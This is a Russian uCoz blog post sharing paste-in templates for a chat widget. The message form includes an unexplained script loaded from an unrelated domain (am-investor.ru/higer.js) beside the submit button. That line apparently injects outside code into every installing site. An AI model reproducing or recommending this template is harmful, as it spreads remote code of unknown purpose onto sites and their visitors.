Воскресенье
19.11.2017
19:03
 
Моя коллекция
 
Приветствую Вас Гость | RSSГлавная | Дневник | Регистрация | Вход
Меню сайта
Наш опрос
Оцените мой сайт
Всего ответов: 88
Мини-чат
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2012 » Октябрь » 25 » Новый, Светлый и Красивый Мини-Чат для uCoz
12:03
Новый, Светлый и Красивый Мини-Чат для uCoz

Выкладываю в паблик мини-чат со своего сайта.. 

Полностью рабочий, многофункциональный, светлый и красивый мини-чат. 
Он будет красиво смотреться почти на любом сайте.. 
В общем всё ясно видно на скриншоте. 

Особенности: 

- Имеются оригинальные ВВ-Коды 
- Отображение аватаров пользователей; 
- Счётчик количества оставшихся символов; 
- Приятный дизайн; 

Установка: 

Заходим в ПУ > Управление дизайном > Мини-Чат > Вид материалов 
И всё заменяем на этот код: 

Code
<style>body {background: #ffffff !important;} 
a.ipbavatar { 
width: 40px; 
height: 40px; 
}a.ipbavatar { 
display: block; 
float: left; 
position: relative; 
top: 0px; 
left: 0px; 
bottom: 0px; 
right: 0px; 
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.5) inset; 
border-radius: 3px; 
-moz-border-radius: 3px; 
-webkit-border-radius: 3px; 

.linnov { 
overflow: hidden; 
border-bottom: 1px dotted #D7D9DB; 

a.ipbavatar img { 
width: 40px; 
height: 40px; 
border-radius: 3px; 
-moz-border-radius: 3px; 
-webkit-border-radius: 3px;float: left; 
width: 40px; 
height: 40px; 


#body{}  
  ::-webkit-scrollbar  
  {  
  width: 5px;  
  height: 9px;  
  }  
  ::-webkit-scrollbar-track-piece  
  {  
  background-color: #ffffff;  
  -webkit-border-radius: 5px;  
  }  
  ::-webkit-scrollbar-thumb:vertical  
  {  
  height: 9px;  
  background-color: #666;  
  -webkit-border-radius: 5px;  
  }  
  ::-webkit-scrollbar-thumb:horizontal  
  {  
  width: 5px;  
  background-color: #666;  
  -webkit-border-radius: 5px;  

  } 
</style> 
 

<div id="iChat-messages" align="left" style="padding-top:2px;"> 
<div style="word-wrap:break-word;"> 
<div style="background:#ffffff;padding:1px;border:1px solid #cfcece;border-radius:2px;"> 

<table border="0" cellpadding="0" cellspacing="0"> 

<tbody> 
<tr> 

<td width="38" style="padding: 2px;"> 
<a class="ipbavatar" style="text-decoration:none" title="Профиль" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');">
 
<img alt="$USERNAME$" src="$AVATAR_URL$" style="float: left;width: 40px;height:40px;">  
  
<img alt="$USERNAME$" src="http://ili.pp.ua/imgc/noavatar.png" style="float: left;width: 40px;height:40px;"> 
  
</a> 
</td> 
<td style="font-size:7pt; color:#666; padding-left:4px;"> 
<b> 
<a style="text-decoration:none" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$NAME$[/b], ';return false;"> 
<span style="color:#008000"><span style="color:#248BFF">$USERNAME$</span></a></b> написал<br> 
<span style="font-size:7pt">$DATE$ в $TIME$</span> 
<br> 
<span style="color:#cccccc; font-size:7pt;"> 
<a style="text-decoration:none" href="/index/14-$USER_ID$-0-1" target="_blank" title="Написать ЛС"><span style="color:#527D24">Написать письмо</a> 
</span> 
</td> 
</tr> 
</tbody> 
</table> 
<div class="linnov"> 
</div> 
<div style="padding:3px; text-align:left;"> 
$MESSAGE$ 
</div> 
</div></div> 
</div>


Теперь заходим в "Мини-Чат > Форма добавления сообщений" 
И всё заменяем на этот код: 

Code
<div align="center"> 
<a href="$LOGIN_LINK$"> 
<div style="background:#F3F3F3;padding:5px 0 5px 0;border:1px solid #eaeaea;color:#444;border-radius:4px;margin:10px 0 0 0;font-size:7pt;"> 
Для добавления необходима авторизация<br/></div></a> 
Доступ запрещен</div>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr>  
<td width="70%" align="left">  
<a href="$RELOAD_URI$" title="Обновить"> 
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/arrow.png"></a>  
<a href="$SMILES_URI$" title="Вставить смайл"> 
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/smiley.png"></a> 
  
<a href="$MSGCTRL_URI$" title="Управление сообщениями"> 
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/edit_bg.png" width="15" height="15"></a> 
  
<br> 
<a href="javascript:void('Apply to')" onclick="bbCode('b');return false;"> 
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/bold.png" height="16" width="16" title="Полужирный" /></a> 
<a href="javascript:void('Apply to')" onclick="bbCode('i');return false;"> 
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/italic.png" height="16" width="16" title="Курсив" /></a> 
<a href="javascript:void('Apply to')" onclick="bbCode('u');return false;"> 
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/underline.png" height="16" width="16" title="Подчёркнутый" /></a> 
<a href="javascript://" onclick="url_mchat();return false;"> 
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/link.png" height="16" width="16" title="Ссылка" /></a> 
<a href="javascript:void('Apply to')" onclick="bbCode('quote');return false;"> 
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/quotes.png" height="16" width="16" title="Цитата" /></a> 

<td>$FLD_AUTOUPD$<br><div align="right"><b id="jeuwu28">$MAX_MESSAGE_LEN$</b></div></td> 
  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td colspan="2">$FLD_NAME$</td></tr>  
<tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>  
</table>  
  
  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>  
</table>  
  
  
<table class="micha" border="0" cellpadding="1" cellspacing="1">  
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>  
</table>  
  

<script type="text/javascript"> 
function sbtFrmMC991(f){$('#mchatBtn').css({display:'none'});$('#mchatAjax').css({display:''});_uPostForm('MCaddFrm',{type:'POST',url:'/mchat/?29399178.7043772'});} 
function countMessLength(){var rst = 300-$('#mchatMsgF').val().length;if (rst<0){rst=0;$('#mchatMsgF').val($('#mchatMsgF').val().substr(0,300));}$('#jeuwu28').html(rst);} 
var tID7174=-1;var tAct7174=false; 
function setT7174(s){var v=parseInt(s.options[s.selectedIndex].value);document.cookie="mcrtd="+s.selectedIndex+"; path=/";if(tAct7174){clearInterval(tID7174);tAct7174=false;}if(v>0){tID7174=setInterval("document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();",v*1000);tAct7174=true;}} 
function initSel7174() {var res=document.cookie.match(/(\W|^)mcrtd=([0-9]+)/);if(res){s=$("#mchatRSel")[0];;s.selectedIndex=parseInt(res[2]);setT7174(s);}$("#mchatMsgF").bind("keydown",function(e){if(e.keyCode==13 && e.ctrlKey && !e.shiftKey){e.preventDefault();sbtFrmMC991();}})} 
</script> 

<table class="micha" border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="40%" rowspan="2" style="max-width: 88px">$FLD_MESSAGE$</td></tr>  
<script type="text/javascript" src="http://ili.pp.ua/js_css/bbcodes.js"></script>  
<Style> 

#mchatBtn { 
font-size: 8pt; 
background: url('http://ili.pp.ua/imgc/podrobno.png'); 
background-position: 0px 0px; 
color: #505252; 
border: 0px solid white; 
border-radius: 3px; 
height: 25px; 
width: 85px; 
padding: 0 5px 3px 5px; 
cursor: pointer; 

#mchatBtn:hover {background-position:-85px 0px;color:#505252;border:0px solid #FE8C12;} 
#mchatBtn:active {background-position:-170px 0px;color:#505252;border:0px solid #FE8C12;} 
</style> 
</table>  

<table> 
<tr> 
<td align="left" wigth="88px"> 
<input type="submit" value="Отправить" class="mchat" id="mchatBtn"> 
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>  
<div style="display:none; width:88px; height:32px; background:url('http://ili.pp.ua/imgc/loading.gif') no-repeat 30% 50%; position:relative;" id="mchatAjax"><div style="position:absolute; top:8px; left:40px;">Ждите...</div></div> 

</td> 
<td align="center" valign="bottom" wigth="92px"> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :1: ';return false;"><img src="/img/smiles/1emoticon_happy.gif"></a>  
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :2: ';return false;"><img src="/img/smiles/1emoticon_smile.gif"></a>  
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :3: ';return false;"><img src="/img/smiles/1smiley_mad.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :4: ';return false;"><img src="/img/smiles/1emoticon_unhappy.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :5: ';return false;"><img src="/img/smiles/smiley-mr-green.gif"></a> 
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :6: ';return false;"><img src="/img/smiles/1smiley_confuse.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :7: ';return false;"><img src="/img/smiles/1smiley_cry.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :8: ';return false;"><img src="/img/smiles/smiley-eek.gif"></a> 
</td> 

</tr> 
</table>


Установка почти завершено, нужно ещё создать свой набор смайлов 
И присвоить им нужные коды вызова.. 

Но если вам они не нужны то удалите в "Форуме Добавления сообщений" 
Этот кусок кода: 

Code
<td align="center" valign="bottom" wigth="92px"> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :1: ';return false;"><img src="/img/smiles/1emoticon_happy.gif"></a>  
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :2: ';return false;"><img src="/img/smiles/1emoticon_smile.gif"></a>  
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :3: ';return false;"><img src="/img/smiles/1smiley_mad.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :4: ';return false;"><img src="/img/smiles/1emoticon_unhappy.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :5: ';return false;"><img src="/img/smiles/smiley-mr-green.gif"></a> 
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :6: ';return false;"><img src="/img/smiles/1smiley_confuse.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :7: ';return false;"><img src="/img/smiles/1smiley_cry.gif"></a> 
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+=' :8: ';return false;"><img src="/img/smiles/smiley-eek.gif"></a> 
</td>


А если нужны то вам нужно скачать архив ( narod.ru/disk/62043248001.df8f93fdfb3c6f98bcd979c39278ff84/190_img.rar.html ) 
Загрузить папку img на сайт и потом создать свой набор смайлов 
Делается это тут: http://адрес_вашего_сайта/panel/?a=sml 

Только учтите что стандартные смайлы отключатся 
Но вы их можете добавить в свой набор - но это долго 

Вы должны выбрать путь до смайла и написать код вызова.. 
Вот ниже написаны какие коды выхова для какого смайла: 

Code
1emoticon_happy.gif - :1: 
  1emoticon_smile.gif - :2: 
  1smiley_mad.gif - :3: 
  1emoticon_unhappy.gif - :4: 
  smiley-mr-green.gif - :5: 
  1smiley_confuse.gif - :6: 
  1smiley_cry.gif - :7: 
  smiley-eek.gif - :8:


Потом когда закончили, заходим в общие настройки 
http://адрес_вашего_сайта/panel/?a=setup 
И напротив строчки "Набор смайлов : " выбираем "Свой набор смайлов" 

Всё, готово. Удачи 
Не забудьте сказать спасибо)
Просмотров: 50 | Добавил: Molier | Теги: uCoz, Скрипты | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Вход на сайт
Поиск
Календарь
«  Октябрь 2012  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Архив записей
Друзья сайта
Copyright MyCorp © 2017